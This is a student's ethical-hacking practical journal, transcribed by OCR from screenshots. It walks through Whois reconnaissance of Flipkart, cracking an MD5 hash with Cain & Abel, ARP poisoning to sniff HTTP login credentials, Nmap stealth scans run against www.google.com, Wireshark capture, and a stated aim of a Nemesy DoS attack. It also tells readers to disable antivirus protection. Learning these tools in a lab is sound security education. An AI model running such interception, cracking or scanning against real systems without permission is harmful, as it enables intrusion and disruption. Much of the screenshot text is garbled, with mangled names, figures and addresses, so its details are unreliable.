TYCS Roll No: 18

PRACTICAL NO: 1

Aim: Google and Whois Reconnaissance

* Use Google search techniques to gather information about a specific target or organization.
» Utilize advanced search operators to refine search results and access hidden information.

target's infrastructure.

Step 1:- Search “flipkart ”” on google and take a screenshot of the results

flipkart

Google

Al

Bl Flipkart

Flipkart Plus. A world of
reward programme for all

you - Flipkart Plus was kickstarted as a loyalty

Step 2:- Take a screenshot of side panel containing flipkart information.
e Flipkart

E-commerce company
Flipkart Private Limited is an Indian e-commerce
company, headquartered in Bangalore, and

incorporated in Singapore as a private limited
company.

© flipkart.com

Founders: Bir chin Bansal

Subsidiaries: M) pkart Health+ - Sex
Parent organization:

Founded: October 2007, Be:

Headquarters:

Number of employees: 22,000 (excludi
(January 2024)

Step 3: - Go to browser and search for https://who.is/

Perform Whois lookups to retrieve domain registration information and gather details about the

displayed.

Flipkart

E-commerce company i
Flipkart Private Limited is an Indian e-commerce
company, headquartered in Bangalore, and
incorporated in Singapore as a private limited
company.

© flipkart.com

Founders: B
Subsidiaries: M
CEO: K y (9 Jan 2017-)
Parent organization: \\

Headquarters:

Founded:

Number of employees: -



https://who.is/
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W WHOIS Search, Domain Name x

% whoiis

WHOIS Search, Domain Name, Website, and IP Tools

Domain names or IP addresses... a

© Your IP address is 150.2:

Step 4: - Search for www.flipkart.com/

X W WHOIS Search, Domain Name

whoiis

WHOIS Search, Domain Name, Website, and IP Tools

www.flipkart.com/ a

© Your IP address is

206.240

Step 5:- Scroll down and study the information given below

[len9 { fen.. et |
e AR

Tokyo Tokyo See More >

flipkart.com

information

Registrar Info Site Status
Name GoDaddy.com, LLC Status nactive
Whois Server whois.godaddy.com Server Type
Referral URL http://www.godaddy.com
Status clientDeleteProhibited https://icann.org/eppclientDeleteProhibited ains for flipkart.com
clientRenewProhibited https://icann.org/epp#clientRenewProhibited
clientTransferProhibited https://icann.org/epp#clientTransferProhibited flip-k-art.live $3.99
clientUpdateProhibited https://icann.org/epp#clientUpdateProhibited flipkarts.live $3.99
spinkart live $3.99
myflipkartive $3.99
b Experience the hidden Tokyo twisthart ive 3399

Purchase Selected Domains



http://www.flipkart.com/
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Important Dates

Expires On 2025-06-03
Registered On 2007-06-03
Updated On 2022-09-04

Name Servers
sdns14.ultradns.biz
sdns14.ultradns.com

sdnsi14.ultradns.net
sdns14.ultradns.org
Similar Domains

flipk-art.com | flipk-artbigbillionday.in | flipk-click-winz.club | flipk-indsky.xyz |

flipk12.com | flipklart.xyz | flipk20.icu | flipk2234.com | flipk4rt.shop |

Registrar Data
We will display stored WHOIS data for up to 30 days.

Step 6:- Click on dns records

156.154.142.14
156.154.140.14
156.154.141.14

156.154.143.14

flipk-mart.ink | flipk-mobil.xyz | flipk-

oohop.xyz | flipk-ruby.xyz | flipk-shol.xyz | flipk-usshop.xyz | flipk.art | flipk.com | flipk.cyou | flipk.ee | flipkO.com |

& Make Private Now

flipkart.com

DNS information

DNS Records for flipkart.com

Hostname Type TTL Priority Content

flipkart.com SOA 7200 PDNS1.ULTRADNS.NET sysadmin@flipkart.com 2017032958 10800 900 604800 10800
flipkart.com NS 14581 sdns14.ultradns.com

flipkart.com NS 14581 sdns14.ultradns.org

flipkart.com NS 14581 sdns14.ultradns.net

flipkart.com NS 14581 sdns14.ultradns.biz

flipkart.com A 727 163.53.76.86

flipkart.com MX 95 1 eu-smtp-inbound-2.mimecast.com

flipkart.com MX 95 1 eu-smtp-inbound-1.mimecast.com

Step 7:- click on diagnostics

flipkart.com

diagnostic tools

RDAP DNS Recort

Ping

PING flipkart.com data.

64 bytes from 163. 63. tt1=55 time=259 ms
64 bytes from 163. (163. tt1=55 time=258 ms
64 bytes from 163. (163. icmp_seq=3 tt1=55 time=258 ms
64 bytes from 163. .86 (163. : icmp_seq=4 ttl=55 time=258 ms
64 bytes from 163.53.76.86 (163.53. : icmp_seq=5 ttl=55 time=258 ms

flipkart.com ping statistics
5 packets transmitted, 5 received, @X% packet loss, time 40@4ms
rtt min/avg/max/mdev = 257.781/257.978/258.722/0.371 ms

Traceroute

traceroute to flipkart.com (163.53.76.86), 30 hops max, 60 byte packets

1 ip-10-0-0-119.ec2.internal (10.0.0.119) ©0.666 ms 0.641 ms ©.734 ms
2 ec2-3-236-62-111.compute-1.amazonaws.com (3.236.62.111) 8.051 ms 244.5.6.121 (244.5.6.121) 6.444 ms 244.5.3.65 (244.5.3.65) 6.587 ms
3 % 240.0.56.65 (240.0.56.65) 1.526 ms 240.3.12.66 (240.3.12.66) ns

4 242.0.226.83 (242.0.226.83) 2.018 ms 242.2.113.69 (242.2.113.69) 2.441 ms 242.0.226.213 (242.0.226.213) 2.741 ms

5 240.2.88.13 (240.2.88.13) 7.767 ms 240.2.88.5 (240.2.88.5) 8.211 ms 240.2.88.15 (240.2.88.15) 8.242 ms

6 151.148.10.176 (151.148.10.176) 7.695 ms 7.816 ms 7.212 ms

7 100.66.0.205 (100.66.0.205) 2.277 ms 151.148.10.177 (151.148.10.177) 8.491 ms 8.564 ms

8 116.119.46.40 (116.119.46.40) 252.167 ms 250.886 ms 251.058 ms

9 s

@ *x =
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PRACTICAL NO: 2

Aim: - Password Encryption and Cracking with CrypTool and Cain and Abel

A. Password Encryption and Decryption:
1. Use CrypTool to encrypt passwords using the RC4 algorithm.
2. Decrypt the encrypted passwords and verify the original values.

Step 1: - Open the CrypTool and Create one text file and save the file at some location.
Example: Type Ethical Hacking.

(B Cryotoot 1442 - Unnameat - o x

File Edi View Encrypt/Decrypt Digdl Signatures/PXl Indiv. Procedures Anslyss Options Window Help

Djolor|@l@| » @] 2= 2|

File Edit View Encrypt/Decrypt Digital Signatures/PKl Indiv. Procedures Analysis Options Window Help

D@ & ¥[m2 &= 282

IEthicaI hacking practical

Step 2: - Go to Encryption and select the RC4 and encryption in 32 bits.
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CrypTool 1.4.42 - RC4 decryption of <RC4 encryption of <Unnamed1>, key <05 01 20 05> », key <05 01 20 05>
File Edit View Encrypt/Decrypt Digital Sig Indiv. Analysis Options  Window  Help
D|S[ef[M¢  Symmetic (clessic >
— 0 e I
Asymmetric > RC2...
b Unname| Hybrid > RC4..
[Ethical hacki i DES (ECB)...
F
G4 RCA encryption of <Unnamed1> k LEXese
= ety -
— - - Triple DES (CBO)...
hical hacking practic AES (CBO)... Shift + Strg + R
Further Algorithms >
AES (self extracting)...
(RN Cryploot 1442 - RCA cecryplion of <RCS encrypton of <Unnamed 1, key <05 01 20 U5, kay <05 01 20 05> — 5 x
e E_Vew EnyptDecypt_Dighe SqrtaresP8)_ i Procesuncs_Anosis_Optioms_ Window_Help

D|@|w[@I&] 450 Hw e

. ey <0501 2005>>,

[Evvcatvackag eractenr

Key Entry: RC4.

Enber the key usng hexacecmal charachers (0 9.4 F]
oy TR -|

|wwww

= |

i1 G P

Step 3: - After clicking encrypt you may get the converted message

@ CrypTool 1.442 - RC4 encryption of <Unnamed, key <05 0120 05> ® X
File Edit View Encrypt/Decrypt Digital Signatures/PK] Indiv. Procedures Analysis Options Window Help
D|ck|ei @] ¥|0|@ & 2w
&F Unnamed! o [@)=]
[Exmical hack
00000000 [@8 39 CC 14 C4 81 CO F3 B3 94 9C D9 1F 6F 4F B2 7D 4B 9F 42 3C 6E FB 91 ES 50 9 o0 }K Ben. . P
[Press F1 to obtain L1 G1 P [om|

Step 4: - Open the encrypted text file and click on encrypt/decrypt and select the RC4 and decrypt in 32 bits.
and put the key which you have used to encrypt the text file and click on decrypt
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A Cryptoo 1442 - RCA encryption of <Unnamed1>, key <05 01 20 05> = O
File Edit_View EncryptDecrypt _Digital Signatures/PK] _Indiv. Procedures _Analysis _Opticns _ Window _Help
0o (@] =] & (%@ &7 2w
} Unnamed1
[Evicat hac
0000 18 39 CC 14 C4 81 CO F3 B3 94 9C D3 IF 6F 4F B2 7D 4B SF 42 3C 6E FB 91 ES 50 N 00}k B B
Key Entry: RC4 x
Ertes the key g hewadecinal charsctes (0 9. A F)
Keylength: [0 =
Ios o1 20 0 !
Encopt I Decypt | Cancel |
[Press F1 to obtain help. L1 Ca7 P o[ [ |
Step 5: - The text file will decrypt
Y CrypTool 1.4.42 - RC4 decryption of <ACA encryption of <Unnamed1>, key <05 01 20 05>, key <05 0120 05> - a8 x
File Edit View Encrypt/Decrypt Dighal SignaturewPKI _Indiv. Procedures _Analysis _Options Window _ Help
0| @S] 4|0 £ 2
+ Unnamed 1
[Ethical hack
%
od s
hacking practical
[Press F1 o obtain help. L1 Gl —r— 1 |
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B. Password Cracking and Wireless Network Password Decoding:
1. Use Cain and Abel to perform a dictionary attack on Windows account passwords.
2. Decode wireless network passwords using Cain and Abel's capabilities.

Disable Realtime Security before beginning with the steps.

Step 1: - Open Cain & Abel and click on Hash Calculator and type “password” in the “text to hash”
space and copy the “MDS5” output.
B L
[] Hash Calculator
(o Teut ta hazh
|F'asswnrd

(" Bytes to hash [HEX]

Tupe Hazh

MD2 S0 C7DDSFIB5FES1AT33E64C0089330E 7

MD4 F154B057801 840F 334800 CCAFEE7 7FEA

MD5 DCE47EBRSE6711E 15637521521 2B 3964

SHA-T 6RE 303436 1 BOIFFFEFCE1AADBRED 040440 FE3CAD0

Step 2: - Go to “Cracker” tab in it click on “MDS5 Hashes” and right click in the empty space in the right side
and paste the copied md5 hash and click on ok.

|§, Decoders IQ Metwaork I@ Sniffer I@E Cracker I@ Traceroute IM i

..... iJi APOP-MDS Hashi « | MD5 Hash | Password | Note
----- & CRAM-MDS Hash I\ 155 yach (in HEX) 22
..... + OSPF-MD5 Hashe

..... b RIPvZ-MD5 Hashe [5F4DCC3B5647650 6108327 DEBEE2CF 93

..... & VRRP-HMAC Has

VNC-3DES (0) Ok ‘ Cancel |

----- md pAD2 Hashes (0)
----- “_"1‘:' MD4 Hashes (0)
----- md MD5 Hashes (0)
..... SHA SHN -1 Haches (01

Step 3: - Right click on the hash and select “Dictionary Attack”.

b4 CHALL [CHALL e i Fa [NT=]
o e | S ol S M + &y | = B, ) mE

|& Decoders IQ Metwork Iﬁ'ﬂ Sniffer I@j‘ﬂ Cracker |@ Traceroute I!m CCDu |((<"f] Wireless I%} Q
..... I APOP-MDS Hashi » | MD5 Hash | Passward | Mote
----- @ CRAM-VIDS Hesti | (TR
..... » OSPF-MD5 Hashe RcHogn il ack
..... « RIPv2-MD5 Hashe Brute-Force Attack
""" b VRRP-HMAC Has Cryptanalysis Attack via RainbowTables
== I

Step 4: - Right click in the file space and select “Add to list” and go to this loc “C:\Program Files (x86)
\Cain\Wordlists”
and add that text file to the list.
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Dictionary Attack =3
Dictionary
File Position
Add to list Insert
Change initial file position
Reset initial file position l
Key Rate Reset all initial file positions I
Remove from list P Open @
Dictiona i rse [PASSWORD - DROWSSAR) — 3
Remove All Je (Pass - PassPass] (I \Program Files (86)\Cain\Wordlists) ~[ 9 |[ search Wordlists )
v Lowercase [PASSWORD - password)
¥ Uppercase [Password - PASSWORD) Organize — New folder = - E:l .éj.
g g [V Mum. sub. pems [Pass,P4ss Pabs,.. P45s . P45E) -
uirent passior [T Case peims [Pass,péss,paSs,.. PaSs. PASS) 4] -
APPSR A Desktol “ MName Date modified Type
[V Two numbers Hybrid Brute [Pass0... Pags9d] D | b d P
ownloads
S | Wordlist 28-10-2005 PM 08:... Text Docy
1 hashes of type HDS loaded =l Recent Places
Fress the Start button to begin dictionary attack

Step 5: - Click on “Start” and it will be decrypting the hash and the decrypted will be shown in the text box
below, you can key symbol before the hash.

Dictionary Pogitioh

Current pasgword

Dictionary Attack £3
Dictionary
File Pozition
‘{,’f C:\Program Files [x86MCainordlistsN\wordlist, bt 2026488
Key Rate Options

Az |z [Password)

Reverse [PASSWORD - DROWSSAP)

Double [Pass - PaszPazs]

Lowercase [PASSWORD - password]

Jppercaze [Pazsward - PASSWIORD)

Mum. sub. perms [Pass P4sz Pabs. . P45s. P455)
Case perms [Fass phss,paSs,. PaSs PASS)
Twa numbers Hybrid Brute [Pass0.. Pazs89)

U B R A A e

Attack
lof 1l

=topped |
hashes craclked

Flaintext of SF4DCCIBSAATESDE1DEIZVDEERGZCFI9 is password

=S T

e I@ Sniffer |@? Cracker |@ Traceroute

DS Hash

| Password

%SHDCCBBSM?ESDHSI... password
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PRACTICAL NO: 3

Aim: Linux Network Analysis and ARP Poisoning

A. Linux Network Analysis: ipconfig(Win) / ifconfig(Linux), ping, netstat, tracert(Win) /

traceroute(Linux).

Open command prompt and type the following commands. (Windows)
OR
Open Terminal in Linux

l.ipconfig

Microsoft Windows [Version 1©.08.19845.5487]
(c) Microsoft Corporation. All rights reserved.

C:\Users\AS>ipconfig

Windows IP Configuration

Ethernet adapter vEthernet (Default Switch):

Connection-specific DNS Suffix -

Link-local IPv6 Address : fe86: :f1f7:dab5c:a31a:d59F%31
IPv4 Address. . . : 172.26.240.1

Subnet Mask . . . : 255.255.246.06

Default Gateway . =

2.ping <target> Example: ping 8.8.8.8

Microsoft Windows [Version 18.8.19845.5487 ]
(c) Microsoft Corporation. All rights reserwved.

C:\Users\AS>ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=9ms TTL=119
Reply from bytes=32 time=18ms TTL=119
Reply +from bytes=32 time=9ms TTL=119
Reply from bytes=32 time=9ms TTL=119

Ping statistics for 8.8.8.8:

Packets: Sent = 4, Received = 4, Lost = @ (6% loss),
Approximate round trip times in milli-seconds:

Minimum = 9ms, Maximum = 18ms, Average = 9ms

3.netstat

C:\Users\AS>netstat
Active Connections

Proto Local Address Foreign Address State
TCP 127.6.0.1:44822 Shield-04:44823 ESTABLISHED

TCP 127.9.9.1:44823 Shield-04:44822 ESTABLISHED
TCP 127.9.0.1:44824 Shield-04:44825 ESTABLISHED
TCP 127.9.0.1:44825 Shield-e4:44824 ESTABLISHED
TCP 192.168.1.101:44439 20.198.119.84:https ESTABLISHED
TCP 192.168.1.161:445%6 a23-55-244-187:https  CLOSE_WAIT
TCP 192.168.1.101:44836 93:https ESTABLISHED

4.tracert <target> Example: tracert 8.8.8.8
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C:\Users\AS>tracert 8.8.8.8

Tracing route to dns.google [8.8.8.8]

over a maximum of 3@ hops:

ms ms
ms ms

ms ms
ms ms
ms ms
ms ms

Trace complete.

B. ARP Poisoning

192.168.1.1
154.84.284.54
Request timed out.
72.14.196.213
192.178.111.151

142 .251.77.95
dns.google [8.8.8.8]

Disable Realtime Security before downloading Cain&Abel .

WIN 7 ISO (Download)

1. Download Cain & Abel on your win 7 machine or VM. (Download)

2. Open cain abel and start the “sniffier and apr”

& then click on the “Blue Plus” sign.

gy &

by clicking on it and go to “Sniffer” tab

H

CHALL CHALL
— @ @ HTLM SPOOF  SPOOF
U BESET RTLM

2 [ 4
: |

|@, Decoders |§ Metwork |ﬁ‘ﬂ Sniffer E

3. Apop up named “MAC Address Scanner” will pop up select “All host in my subnet” in target and

click on “ok”. (you will see a list of host).

+ @ | = B, 2

MAC Address Scanner
o Target

* Al hosts in my subnet
" Range
From
|192_1se_ 11

To
|1E|2.1ES. 1 . 254

4. Then go to “APR” tab located in the down side of the window & click on the “Blue Sign” again and
select the default gateway in the left column and your target device in the right column.

10



https://drive.google.com/drive/folders/1fAgInPQ3r0o-pZ0qkM2k7a7dK4mr8TZJ?usp=drive_link
https://web.archive.org/web/20160214132154/http:/www.oxid.it/downloads/ca_setup.exe
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SR OHBRE [+ v 2[5O mm
@, Decoders |§ Metwork |m Sniffer |@f= Cracker |@ Traceroute |lm Ccbu I[(ﬁ”] Wireless
T

@—Y_\ Mew ARP Peison Routing
WARKIMG ]

APR enables you to hijack |P traffic between the selected hozt on the left list and all selected hosts on the righ
directions. If a selected host haz routing capabilities WAl traffic will be intercepted as well. Pleaze naote that si
machine has not the same performance of a router you could cause DoS if you set APR between your Default

all other hosts on your LAMN,

IP address | MAC | Hogthame IP address | MALC | Ho
19216811 30EB1CEOF140 1921681102 AE4D2BADBIFZ
1921681102 226723153060

192.168.1.101 96080298 5CAE
192.168.1.103 825728153050
192.168.1.102 AE4DZ2BADBIF2

192.168.1.101 9E02029B5CAE

11 3 1

oK

|® Cenfiguration / Routed Packets |

T

Q Hosts I@ APR |"I" Reouting I% Passwords |& VelP |

5. Start your sniffer & apr

and log in.
http://testphp.vulnweb.com/login.php

again if stopped and go to this website on your target device

Username : |test

Password : ssss

You can also signup here.

If you are already registered please enter your login information below:

Signup disabled. Please use the username test and the password test.

6. Go to “Passwords” section in the “Sniffer” tab it is located in the down side of the window and click

on “HTTP” you can see the password.

THALL CHALL i :Eﬁ 3, ‘%j I B pd D C@ 2 o ? Il_

SIFCRCE 4 AE
|@, Decoders |§ Metwork Nﬁ Sniffer |@/‘1 Cracker |@ Traceroute |M Ccou |[tf]']] Wireless |%) Query |
Paczwords + | Timestamp | HTTP server | Client | Username | Password | URL

?ﬁi ----- FTR () 10/02/2025 193213 44.228.493 1921680100 test test
..... LB HTTP 1)

http:/testphpvulnweb.c

11



http://testphp.vulnweb.com/login.php
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PRACTICAL NO: 4
Aim: Port Scanning with Nmap (ACK, SYN, FIN. NULL., XMAS. Target INFO)

e Download & Install NMap in your Windows Machine (Here)
Open Command Prompt and Type the following commands
1.ACK = nmap -sA www.google.com

[&4.) Command Prompt

Microsoft Windows [Version 10.0.19045.5487]
(c) Microsoft Corporation. All rights reserved.

C:\Users\AS>nmap -sA www.google.com

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 20:23 India Standard Time
Nmap scan report for www.google.com (142.250.70.1690)

Host is up (@.0060s latency).

rDNS record for 142.250.70.100: pnbomb-ac-in-f4.1e100.net
All 1000 scanned ports on www.google.com (142.250.70.1€0) are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 25.36 seconds

C:\Users\AS>_

2.SYN = nmap -sS www.google.com

[¢a.] Command Prompt

Microsoft Windows [Version 10.0.19645.5487 ]
(c) Microsoft Corporation. All rights reserved.

C:\Users\AS>nmap -sS www.google.com

Starting Nmap 7.95 ( https://nmap.org ) at 2025-82-19 20:27 India Standard Time
Nmap scan report for www.google.com (142.256.183.132)

Host is up (@.858s latency).

rDNS record for 142.250.183.132: bom@7s31-in-f4.lelee.net

Not shown: 997 filtered tcp ports (no-response), 1 filtered tcp ports (net-unreach)
PORT STATE SERVICE

80/tcp open http

443 /tcp open https

Nmap done: 1 IP address (1 host up) scanned in 12.21 seconds

3.FIN = nmap -sF www.google.com

ca.| Command Prompt

Microsoft Windows [Version 16.8.19845.5487 ]
(c) Microsoft Corporation. All rights reserved.

C:\Users\AS>nmap -sF www.google.com
Starting Nmap 7.95 ( https://nmap.org ) at 2825-82-19 20:36 India Standard Time
Nmap scan report for www.google.com (142.250.183.132)

Host is up (©.813s latency).
rDNS record for 142.250.183.132: bom@7s31-in-f4.1e108.net

All 1060 scanned ports on www.google.com (142.258.183.132) are in ignored states.
Not shown: 1000 open|filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 23.58 seconds

4.NULL = nmap -sN www.google.com

12



https://nmap.org/download.html#windows
http://www.google.com/
http://www.google.com/
http://www.google.com/

TYCS Roll No: 18

[é1. Command Prompt

Microsoft Windows [Version 1€.8.19€45.5487]
(c) Microsoft Corporation. All rights reserved.

C:\Users\AS>nmap -sN www.google.com
Starting Nmap 7.95 ( https://mmap.org ) at 2025-02-19 20:39 India Standard Time

Nmap scan report for www.google.com (142.256.199.132)

Host is up (©.068s latency).

rDNS record for 142.250.199.132: bom@7s36-in-f4.1e160.net

All 1060 scanned ports on www.google.com (142.250.199.132) are in ignored states.
Not shown: 1000 open|filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 64.27 seconds

5. XMAS = nmap -sX www.google.com

[z.| Administrator: Command Prompt

Microsoft Windows [Version 10.0.19045.5487]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>nmap -sX www.google.com

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 20:41 India Standard Time
Nmap scan report for www.google.com (142.250.183.132)

Host is up (©.813s latency).

rDNS record for 142.250.183.132: bom@7s31-in-f4.1e100.net

All 1000 scanned ports on www.google.com (142.250.183.132) are in ignored states.
Not shown: 10@@ open|filtered tcp ports (no-response)

Nmap done: 1 IP address (1 host up) scanned in 23.87 seconds

6. Target INFO =

19 20:43 India Standard Time

record for 142.250.183.13 in-f4.1e100.net
97 f: se), 1 filtered tcp ports (net-unreach)
STATE SERV: v
open http

wing fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-

PSUKFKC2UIebSHOL
P/ 94085\ x2

in-height:180px;padding: 3@px 5 {background:
url .google\ .com/ima \.png\)\x201¢ 205px\x28no

13
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PRACTICAL NO: §

Aim: Network Traffic Capture and DoS Attack with Wireshark and Nemesy

A Network Traffic Capture:

a. Use Wireshark to capture network traffic on a specific network interface.

b. Analyze the captured packets to extract relevant information and identify potential security issues.

B. Denial of Service (DoS) Attack:
a Use Nemesy to launch a DoS attack against a target system or network.

b. Observe the impact of the attack on the target's availability and performance.

A Network Traffic Capture:

1.Install and launch Wireshark

M The Wireshark Network Analyzer —
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
dm @ RE ] = SElaa/q®mH

o
X

Welcome to Wireshark

Capture

.using this fikter: [ 1] [Enter 5 capture filter .. -] |Allinterfaces shown~

Ethernet L
"} Local Area Connection*

Local Area Connection® 7

Local Area Connection” 6

VMware Network Adapter VMnet8

Vhware Network Adapter VMnet!

Ethernet 2

Adapter for loopback traffic capture

Cisco remote capture

Event Tracing for Windows (ETW) reader

Random packet generator

55H remote capture

UDP Listener remote capture

Peeee®

Wi-Fi remote capture

Learn
User's Guide - Wiki . Questionsand Answers - Mailing Lists . SharkFest . Wireshark Discord - Donate
You are running Wireshark 4.4.3 (v4.4.3-0-g66d7252feb06). You receive automatic updates.

2.Right Click on Active Ethernet and click Start Capture.

Welcome to Wireshark

Capture

.ussing this fitter: (1] [Enter a capture filter ..

~] |Allinterfaces shown =

Ethernet
Adapter for loopback traffic capture
Local Area Connection” 8

Local Area Connection” 7

Local Area Connection” 6

VMware Network Adapter VMnet®
VMuware Network Adapter VMnet]
Ethemet 2

3.The Source ,destination, protocols of the packets in LAN network are displayed.

Start capture

Hide Interface
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£ Capturing from Ethernet - x
Fle Edit Yiew Go Capture Anslyze Stetistics Telephony Wireless Tooks Help
md® RE Qe=2=F &= @ Q & I [
pply a display filter ... <Ctrl-/> =3 -]+
-

Source Destination
feB0: :8ee7:48ff: fe2.. ffo2::1:ff2b:7520 ICMPVE
feBB::9c65:aBe7: o, F02::1:FF35:472d  ICPV6

No. Time
187 51.51358
188 51.518894

189 51.534848 192.168.1.52 224.168.188.1 IGMPV2
190 51.859879 fed0: :deba:2e4c:99.. ffo2::1:ff93:9431 ICMPvE
191 51.741304 192.168.1.52 224.168.100.1 IGMPv2
192 51.741897 192.168.1.29 224.168.108.1 IGMPv2
193 52.116378 fe88: :faab:4d2c: ¥83.. ffB2::1:ff36:670 ICMPVE
194 52.203093 fed@::26b1:5ff:fe24.. ffo2::1:ff24:e309 ICMPvE
195 52.235688 GigaByteTech 94:91:.. Broadcast ARP

196 52.538112 192.168.1.1 224.8.8.1 IGMPW2
197 52.548935 192.168.1.45 224.8.6.252 IGMPV2

198 52.67@363
199 52.732982
280 52.745487
201 52.761186
202 52.859580
283 53.825866

fe8@::cc5:6868:a4a:... ffo2::1:ff4a:2539 ICMPvE
fes@: :4ebd:8fFf:fea. ffo2::1:ffa0:1cf6 ICMPVE
192.168.1.52 224.168.188.1 IGMPV2
192.163.1.64 224.98.8.251 IGMPv2
fed@::2b81:bcad:74c.. ffo2::1:ffc5:ad49 ICMPvE
fe808::944:4972:bc18.. Ff82::1:ff18:ea75 ICMPVE

284 53.136733 192.168.1.51 239.255.255.258 IGMPV2
205 53.215745 fes@::833a:3d19:ad7.. ffe2::1:7f74:28ac ICMPVE
206 53.239997 GigaByteTech_94:91:.. Broadcast ARP

207 53.274858 192.168.1.18 239.255.102.18 IGMPv2

288 53.332181 fe88: :872F:e5:f88c:.. £fB2::1:ff8c:5656 ICMPVE

Protocol Length

86
86
68
86
6@
68
86
86
68
68
68
86
86
68
68
86
86
68
86
68
68
86

Info

Multicast Listener Report

Multicast Listener Report

Membership Report group 224.168.188.1
Multicast Listener Report

Membership Report group 224.168.108.1
Membership Report group 224.168.106.1
Multicast Listener Report

Multicast Listener Report

who has 192.168.1.692 Tell 192.168.1.52
Membership Query, general

Membership Report group 224.8.8.252
Multicast Listener Report

Multicast Listener Report

Membership Report group 224.168.188.1
Membership Report group 224.8.8.251
Multicast Listener Report

Multicast Listener Report

Membership Report group 239.255.255.258
Multicast Listenmer Report

Who has 192.168.1.69? Tell 192.168.1.52
Membership Report group 239.255.102.18
Multicast Listener Report

4 Write http in the filter box and click on Apply. It will display all the http packets.

| [nttp
No. Time Source Destination Protocol Length Info
([ bt EHED -]+
No. Time Source Destination Protocol Length Info L)
| 4202 181.581481  146.198.62.39 192.168.1.48 HTTP 956 HTTP/1.1 208 OK (text/css)
| 4200 182.674225  146.190.62.39 192.168.1.40 HTTP 1216 HTTP/1.1 200 OK (text/css)
| 4317 182.357683  192.168.1.48 146.190.62.39 HTTP 455 GET /css/images/banner.svg HTTR/1.1
3 4319 182.359194 192.168.1.48 146.198.62.39 HTTP 478 GET /css/images/header-major-on-light.svg HTTP/1.1
| 4499 182.594422  146.196.62.39 192.168.1.48 HTTP/X.. 1365 HTTP/1.1 286 OK
| 4502 182.595899  192.168.1.40 146.190.62.39 HTTP 428 GET /favicon.ico HTTP/1.1
| 4503 182.59627@  192.168.1.48 146.190.62.39 HTTP 469 GET /fcss/images/header-major-on-dark.svg HTTR/1.1
| 4506 182.688323  146.198.62.39 192.168.1.48 HTTP/X.. 1315 HTTP/1.1 200 OK
| 4515 182.832482  146.198.62.39 192.168.1.48 HTTP 771 HTTP/1.1 206 OK (image/x-icon)
| 4517 182.833149  146.190.62.39 192.168.1.40 HTTP/X.. 1321 HTTP/1.1 200 OK
| 4536 183.446157  192.168.1.48 142.250.77.67 HTTP 364 GET /generate 24 HTTR/1.1
| 4539 183.449349  142.256.77.67 192.168.1.48 HTTP 181 HTTP/1.1 284 No Content
4733 187.606306  192.168.1.46 69.43.111.82 HTTP 552 GET /~grovesd/comm244/notes/week2/links HTTP/1.1
4747 187.888486  69.43.111.82 192.168.1.40 HTTP 1016 HTTP/1.1 200 OK (text/html
4752 187.915372  192.168.1.48 69.43.111.82 HTTP 435 GET /~grovesd/comm244/css/notes.css HTTP/1.1
4753 187.915496 192.168.1.48 69.43.111.82 HTTP 418 GET /~grovesd/comm244/js/prism.js HTTP/1.1
4886 185.197280  69.43.111.82 192.168.1.40 HTTP 321 HTTP/1.1 200 OK (text/css)
4887 188.197956  192.168.1.48 69.43.111.82 HTTP 493 GET /~grovesd/comm244/notes/week2/url-parts.ipg HTTP/1.1
4896 188.218172  69.43.111.82 192.168.1.48 HTTP 373 HTTP/1.1 200 OK (application/javascript)
4899 188.213876  192.168.1.46 69.43.111.82 HTTP 589 GET /~grovesd/comm244/notes/week2/recipebook-site-structure.png HTTP/1.1
4906 1858.250878  192.168.1.48 69.43.111.82 HTTP 501 GET /~grovesd/comm244/notes/week2/rb-site-structure.png HTTP/1.1
4933 188.507349  69.43.111.82 192.168.1.40 HTTP 463 HTTP/1.1 200 OK (PNG)
v
Frame 3937: 388 bytes on wire (2464 bits), 388 bytes captured (2464 bits) on interface \Device\NPF_{D5C228EE-{| @208 b4 3d 88 64 5d 3@ 88 o8 45 00 -—-d |olRIRERl E ~
Ethernet II, Src: GigaByteTech b9:f@:8b (1c:1b:@d:b9:f@:@b), Dst: GXInternatio 64:5d:38 (b4:3d:@8:64:5d:30) @1 26 6 3a 40 @0 8l 28 17 39 & :@ - ¢ s
Internet Protocel Version 4, Src: 192.168.1.48, Dst: 23.57.214.214 d6 d6 d1 ac e 58 oe 3 58 18 P 13- F
02 01 64 73 90 @0 48 54 54 58 ds--GE T / HTTP

Hypertext Transfer Protocol

5.Dont Close Wireshark, Open Web Browser and visit http://testphp.vulnweb.com/login.php

Enter Username: test
Enter Password: test

Click login

Transmission Control Protocol, Src Port: 53676, Dst Port: 88, Seq: 1, Ack: 1, Len: 254

2f 31 2e 31 @d @a
2e 6c 65 Ge 63 72

78 31 2e 69 /1.1 -Ho st: xl.i
43 6F 6e 6e  .lencr.o rg--Conn
65 63 74 69 6F 6e 2d 61 6c 69 ection: keep-ali
76 65 @d @a 55 73 6e 74 3a 28 ve--User -Agent

4d 6f 7a 69 6c 6c 61 2f 35 2e 38 28 28 57 69 6e  Mozilla/ 5.8 (Win
64 6 77 73 20 4e 54 20 31 30 2e 38 3b 20 57 69 dows NT 10.0; Wi
6e 36 34 3b 20 78 36 34 29 28 41 78 78 6C 65 57 n64; x64 ) Applew
G5 A2 4h ARG 74 2§ 35 33 37 2+ 33 36 24 78 4h 4R ebKit/53 7.3 (KH

&« c A Not secure  testphp.vulnweb.com/login.php

| Macunetix FRITEIET

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | yourcart | guestbook | AJAX Demo

search art
Browse categories
Browse arlists
Your cart

Signup

Your profile

Our guestbook
AJAX Demo

If you are already registered please enter your login

Usemame
password [

You can also signup here.
Signup disabled. Please use the username test and the password test.

information belo
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6.Navigate back to Wireshark Then Apply display filter as http.request.method == "POST"

[ [ http.requestmethod == "POST' <] -]+
No. Time Source Destination Protocol Length Info
|- ["8588i 214.018357  192.168.1.58 192.168.1.48 HTTP/X.. 787 POST /af2a8f69-5116-4d87-9242-7b1a12ae869a/ HTTP/1.1

7856 352.679982  192.168.1.40 44.228.249.3 HTTP 699 POST /userinfo.php HTTP/1.1 (application/x-www-form-urlencoded

